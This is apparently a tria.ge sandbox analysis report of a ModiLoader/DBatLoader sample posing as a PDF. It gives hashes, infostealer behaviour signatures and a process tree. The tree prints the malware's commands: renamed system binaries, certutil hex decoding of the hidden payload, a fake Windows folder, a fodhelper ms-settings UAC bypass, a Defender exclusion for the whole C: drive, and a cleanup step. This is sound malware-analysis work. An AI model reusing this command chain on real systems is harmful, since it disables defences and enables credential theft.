Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    266s
  • max time network
    249s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    22/07/2024, 13:43

General

  • Target

    Main Engine 7s60mc,PDF.cmd

  • Size

    6.4MB

  • MD5

    f15e38f850728f3fc6773a7350e29304

  • SHA1

    f13f88885c26b065ea8cf9e8113586ecca166ee7

  • SHA256

    e79dbdc85cf532a13c172533edaf0893a34641b39522b70a31df7f442d0eaf0d

  • SHA512

    961643be8a42c6608028524d3af21f407f453db9995682186283569b0ea1579d407386e0f79ab9a8b7455b61d0a66223c436b763e18b4dbff6952d0788767ea7

  • SSDEEP

    49152:HMftY4zQT58J2f3nAJ3NB/D15t5+DUvW5nWffFOFg+N0DGvthGU9gx8ITAT4WGbs:H

Malware Config

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • ModiLoader Second Stage 2 IoCs
  • Executes dropped EXE 28 IoCs
  • Loads dropped DLL 12 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Office loads VBA resources, possible macro or embedded object present
  • Kills process with taskkill 1 IoCs
  • Modifies registry class 5 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\Main Engine 7s60mc,PDF.cmd"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:2568
    • C:\Windows\System32\extrac32.exe
      C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
      2⤵
        PID:2960
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
        2⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:2724
        • C:\Windows\system32\extrac32.exe
          extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
          3⤵
            PID:2212
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\Main Engine 7s60mc,PDF.cmd" "C:\\Users\\Public\\CLEAN.GIF" 3
          2⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:2784
          • C:\Users\Public\kn.exe
            C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\Main Engine 7s60mc,PDF.cmd" "C:\\Users\\Public\\CLEAN.GIF" 3
            3⤵
            • Executes dropped EXE
            PID:2864
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\CLEAN.GIF" "C:\\Users\\Public\\Libraries\\CLEAN.COM" 10
          2⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:2988
          • C:\Users\Public\kn.exe
            C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\CLEAN.GIF" "C:\\Users\\Public\\Libraries\\CLEAN.COM" 10
            3⤵
            • Executes dropped EXE
            PID:2736
        • C:\Users\Public\Libraries\CLEAN.COM
          C:\Users\Public\Libraries\CLEAN.COM
          2⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Adds Run key to start application
          • Suspicious use of SetThreadContext
          • Suspicious behavior: CmdExeWriteProcessMemorySpam
          • Suspicious use of WriteProcessMemory
          PID:2812
          • C:\Users\Public\Libraries\pkukvxmR.pif
            C:\Users\Public\Libraries\pkukvxmR.pif
            3⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:2752
            • C:\Windows\system32\cmd.exe
              "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\204D.tmp\204E.tmp\204F.bat C:\Users\Public\Libraries\pkukvxmR.pif"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:584
              • C:\Windows\System32\extrac32.exe
                C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
                5⤵
                  PID:2936
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "
                  5⤵
                  • Executes dropped EXE
                  PID:2236
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"
                  5⤵
                  • Executes dropped EXE
                  PID:2052
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
                  5⤵
                  • Executes dropped EXE
                  • Suspicious use of WriteProcessMemory
                  PID:320
                  • C:\Windows\system32\extrac32.exe
                    extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
                    6⤵
                      PID:2372
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
                    5⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:940
                    • C:\Windows\system32\extrac32.exe
                      extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
                      6⤵
                        PID:1916
                    • C:\Users\Public\alpha.exe
                      C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
                      5⤵
                      • Executes dropped EXE
                      PID:1232
                      • C:\Windows\system32\extrac32.exe
                        extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
                        6⤵
                          PID:2536
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                        5⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:2012
                        • C:\Users\Public\xkn.exe
                          C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                          6⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:2016
                          • C:\Users\Public\alpha.exe
                            "C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                            7⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            PID:944
                            • C:\Users\Public\ger.exe
                              C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                              8⤵
                              • Executes dropped EXE
                              • Modifies registry class
                              PID:1772
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
                        5⤵
                        • Executes dropped EXE
                        PID:2928
                        • C:\Windows\system32\taskkill.exe
                          taskkill /F /IM SystemSettings.exe
                          6⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:2956
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 2
                        5⤵
                        • Executes dropped EXE
                        PID:1792
                        • C:\Windows\system32\PING.EXE
                          ping 127.0.0.1 -n 2
                          6⤵
                          • Runs ping.exe
                          PID:1752
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"
                        5⤵
                        • Executes dropped EXE
                        PID:3004
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"
                        5⤵
                        • Executes dropped EXE
                        PID:2996
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"
                        5⤵
                        • Executes dropped EXE
                        PID:2196
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c del /q "C:\\Windows \\System32\\per.exe" / A / F / Q / S
                        5⤵
                        • Executes dropped EXE
                        PID:2280
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S
                        5⤵
                        • Executes dropped EXE
                        PID:2460
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
                        5⤵
                        • Executes dropped EXE
                        PID:2404
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S
                        5⤵
                        • Executes dropped EXE
                        PID:2108
                  • C:\Windows\SysWOW64\extrac32.exe
                    C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Public\Libraries\CLEAN.COM C:\\Users\\Public\\Libraries\\Rmxvkukp.PIF
                    3⤵
                      PID:2424
                    • C:\Users\Public\Libraries\pkukvxmR.pif
                      C:\Users\Public\Libraries\pkukvxmR.pif
                      3⤵
                      • Executes dropped EXE
                      • Accesses Microsoft Outlook profiles
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      • outlook_office_path
                      • outlook_win_path
                      PID:2300
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
                    2⤵
                    • Executes dropped EXE
                    PID:2952
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\CLEAN.GIF" / A / F / Q / S
                    2⤵
                    • Executes dropped EXE
                    PID:2908
                • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
                  "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\Desktop\DenyMount.docx"
                  1⤵
                  • Drops file in Windows directory
                  • Suspicious behavior: AddClipboardFormatListener
                  • Suspicious use of SetWindowsHookEx
                  PID:1860
                • C:\Windows\system32\AUDIODG.EXE
                  C:\Windows\system32\AUDIODG.EXE 0x4fc
                  1⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2080

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • C:\Users\Admin\AppData\Local\Temp\204D.tmp\204E.tmp\204F.bat

                  Filesize

                  1KB

                  MD5

                  e62f427202d3e5a3ba60ebe78567918c

                  SHA1

                  6ef0cd5ba6c871815fceb27ff095a7931452b334

                  SHA256

                  06bee225a830ea0e67b91fd7d24280c5315ef82049b25b07c9cfde4e36a639ff

                  SHA512

                  e15148ba4099f3b8c73319be32a5f76226d21e7fb90123bec68e5106d03b7d3e8af8caa0421667920967e8921787ba255dc4bf23d35792bf8e9a20f1e18283c6

                • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

                  Filesize

                  19KB

                  MD5

                  ac232973c5179f292c0e716b1bb41618

                  SHA1

                  81de9a99cf6ed2ff3d8d1e24f8aee4743228b1c8

                  SHA256

                  a064dd5a8f237434a537dbabb3269644459be3c60fd549d8927657884a8f4c45

                  SHA512

                  360422e5da9ce50c562635fc749177797ecef1a126f8a108d9c6fc1fd3514e4e0cf187b9255b9b9a28bbcfef7d370af46cc7f5bdf832932c9d5c07f49c0c6c1c

                • C:\Users\Admin\AppData\Roaming\Microsoft\UProof\ExcludeDictionaryEN0409.lex

                  Filesize

                  2B

                  MD5

                  f3b25701fe362ec84616a93a45ce9998

                  SHA1

                  d62636d8caec13f04e28442a0a6fa1afeb024bbb

                  SHA256

                  b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

                  SHA512

                  98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

                • C:\Users\Public\CLEAN.GIF

                  Filesize

                  4.4MB

                  MD5

                  7f5f10d1186e835094d28a4bcf507a60

                  SHA1

                  b3f66589b1af2d5fa2e0761252f6ce884869f288

                  SHA256

                  1f9498239b81807faa4fec10300975aca37d3c9bd60c0742fb5499cba759a7c6

                  SHA512

                  677138e3a046a60dad05f6e024c1115c22681e2df7683db416f0bc66962e67c9243c8f98755788e9e3c8b8d54e390cc66670579a734856787f1b437b0c5be54a

                • C:\Users\Public\Libraries\CLEAN.COM

                  Filesize

                  1.3MB

                  MD5

                  9e590560079834d3f376570fd21443bc

                  SHA1

                  73abd551c48ec04355cd24272c8e5b7a221d42f5

                  SHA256

                  9154b1338228a48e4b2ff841867c2d3e79503c8a858f07c776b6b091839108b7

                  SHA512

                  23f9aa06795fc5ccd020f2b5dc68307662c6c99f08a43257bb72ed1c668b9780ebe985eb4e3a1ccfc92e1e2fb45422c6a924f6d315e9a10375e113c57c001109

                • \Users\Public\Libraries\pkukvxmR.pif

                  Filesize

                  66KB

                  MD5

                  c116d3604ceafe7057d77ff27552c215

                  SHA1

                  452b14432fb5758b46f2897aeccd89f7c82a727d

                  SHA256

                  7bcdc2e607abc65ef93afd009c3048970d9e8d1c2a18fc571562396b13ebb301

                  SHA512

                  9202a00eeaf4c5be94de32fd41bfea40fc32d368955d49b7bad2b5c23c4ebc92dccb37d99f5a14e53ad674b63f1baa6efb1feb27225c86693ead3262a26d66c6

                • \Users\Public\alpha.exe

                  Filesize

                  337KB

                  MD5

                  5746bd7e255dd6a8afa06f7c42c1ba41

                  SHA1

                  0f3c4ff28f354aede202d54e9d1c5529a3bf87d8

                  SHA256

                  db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386

                  SHA512

                  3a968356d7b94cc014f78ca37a3c03f354c3970c9e027ed4ccb8e59f0f9f2a32bfa22e7d6b127d44631d715ea41bf8ace91f0b4d69d1714d55552b064ffeb69e

                • \Users\Public\ger.exe

                  Filesize

                  73KB

                  MD5

                  9d0b3066fe3d1fd345e86bc7bcced9e4

                  SHA1

                  e05984a6671fcfecbc465e613d72d42bda35fd90

                  SHA256

                  4e66b857b7010db8d4e4e28d73eb81a99bd6915350bb9a63cd86671051b22f0e

                  SHA512

                  d773ca3490918e26a42f90f5c75a0728b040e414d03599ca70e99737a339858e9f0c99711bed8eeebd5e763d10d45e19c4e7520ee62d6957bc9799fd62d4e119

                • \Users\Public\kn.exe

                  Filesize

                  1.1MB

                  MD5

                  ec1fd3050dbc40ec7e87ab99c7ca0b03

                  SHA1

                  ae7fdfc29f4ef31e38ebf381e61b503038b5cb35

                  SHA256

                  1e19c5a26215b62de1babd5633853344420c1e673bb83e8a89213085e17e16e3

                  SHA512

                  4e47331f2fdce77b01d86cf8e21cd7d6df13536f09b70c53e5a6b82f66512faa10e38645884c696b47a27ea6bddc6c1fdb905ee78684dca98cbda5f39fbafcc2

                • \Users\Public\xkn.exe

                  Filesize

                  462KB

                  MD5

                  852d67a27e454bd389fa7f02a8cbe23f

                  SHA1

                  5330fedad485e0e4c23b2abe1075a1f984fde9fc

                  SHA256

                  a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

                  SHA512

                  327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

                • memory/2016-73-0x0000000002440000-0x0000000002448000-memory.dmp

                  Filesize

                  32KB

                • memory/2016-72-0x000000001AFB0000-0x000000001B292000-memory.dmp

                  Filesize

                  2.9MB

                • memory/2300-161-0x000000004BF00000-0x000000004BF38000-memory.dmp

                  Filesize

                  224KB

                • memory/2300-146-0x000000004BF00000-0x000000004BF38000-memory.dmp

                  Filesize

                  224KB

                • memory/2300-112-0x000000004BF00000-0x000000004BF38000-memory.dmp

                  Filesize

                  224KB

                • memory/2300-114-0x000000004BF00000-0x000000004BF38000-memory.dmp

                  Filesize

                  224KB

                • memory/2300-105-0x0000000000400000-0x0000000001400000-memory.dmp

                  Filesize

                  16.0MB

                • memory/2300-107-0x0000000000400000-0x0000000001400000-memory.dmp

                  Filesize

                  16.0MB

                • memory/2300-109-0x000000004BEC0000-0x000000004BF00000-memory.dmp

                  Filesize

                  256KB

                • memory/2300-110-0x000000004BF00000-0x000000004BF3E000-memory.dmp

                  Filesize

                  248KB

                • memory/2300-111-0x000000004BF00000-0x000000004BF38000-memory.dmp

                  Filesize

                  224KB

                • memory/2300-118-0x000000004BF00000-0x000000004BF38000-memory.dmp

                  Filesize

                  224KB

                • memory/2300-164-0x000000004BF00000-0x000000004BF38000-memory.dmp

                  Filesize

                  224KB

                • memory/2300-162-0x000000004BF00000-0x000000004BF38000-memory.dmp

                  Filesize

                  224KB

                • memory/2300-116-0x000000004BF00000-0x000000004BF38000-memory.dmp

                  Filesize

                  224KB

                • memory/2300-158-0x000000004BF00000-0x000000004BF38000-memory.dmp

                  Filesize

                  224KB

                • memory/2300-157-0x000000004BF00000-0x000000004BF38000-memory.dmp

                  Filesize

                  224KB

                • memory/2300-155-0x000000004BF00000-0x000000004BF38000-memory.dmp

                  Filesize

                  224KB

                • memory/2300-153-0x000000004BF00000-0x000000004BF38000-memory.dmp

                  Filesize

                  224KB

                • memory/2300-150-0x000000004BF00000-0x000000004BF38000-memory.dmp

                  Filesize

                  224KB

                • memory/2300-148-0x000000004BF00000-0x000000004BF38000-memory.dmp

                  Filesize

                  224KB

                • memory/2300-120-0x000000004BF00000-0x000000004BF38000-memory.dmp

                  Filesize

                  224KB

                • memory/2300-144-0x000000004BF00000-0x000000004BF38000-memory.dmp

                  Filesize

                  224KB

                • memory/2300-142-0x000000004BF00000-0x000000004BF38000-memory.dmp

                  Filesize

                  224KB

                • memory/2300-140-0x000000004BF00000-0x000000004BF38000-memory.dmp

                  Filesize

                  224KB

                • memory/2300-138-0x000000004BF00000-0x000000004BF38000-memory.dmp

                  Filesize

                  224KB

                • memory/2300-136-0x000000004BF00000-0x000000004BF38000-memory.dmp

                  Filesize

                  224KB

                • memory/2300-134-0x000000004BF00000-0x000000004BF38000-memory.dmp

                  Filesize

                  224KB

                • memory/2300-132-0x000000004BF00000-0x000000004BF38000-memory.dmp

                  Filesize

                  224KB

                • memory/2300-130-0x000000004BF00000-0x000000004BF38000-memory.dmp

                  Filesize

                  224KB

                • memory/2300-128-0x000000004BF00000-0x000000004BF38000-memory.dmp

                  Filesize

                  224KB

                • memory/2300-126-0x000000004BF00000-0x000000004BF38000-memory.dmp

                  Filesize

                  224KB

                • memory/2300-124-0x000000004BF00000-0x000000004BF38000-memory.dmp

                  Filesize

                  224KB

                • memory/2300-122-0x000000004BF00000-0x000000004BF38000-memory.dmp

                  Filesize

                  224KB

                • memory/2752-44-0x0000000000400000-0x0000000001400000-memory.dmp

                  Filesize

                  16.0MB

                • memory/2752-42-0x0000000000400000-0x0000000001400000-memory.dmp

                  Filesize

                  16.0MB

                • memory/2752-92-0x0000000000400000-0x0000000001400000-memory.dmp

                  Filesize

                  16.0MB

                • memory/2752-94-0x0000000000400000-0x000000000041A000-memory.dmp

                  Filesize

                  104KB

                • memory/2752-45-0x0000000000400000-0x000000000041A000-memory.dmp

                  Filesize

                  104KB

                • memory/2812-32-0x0000000000400000-0x000000000054A000-memory.dmp

                  Filesize

                  1.3MB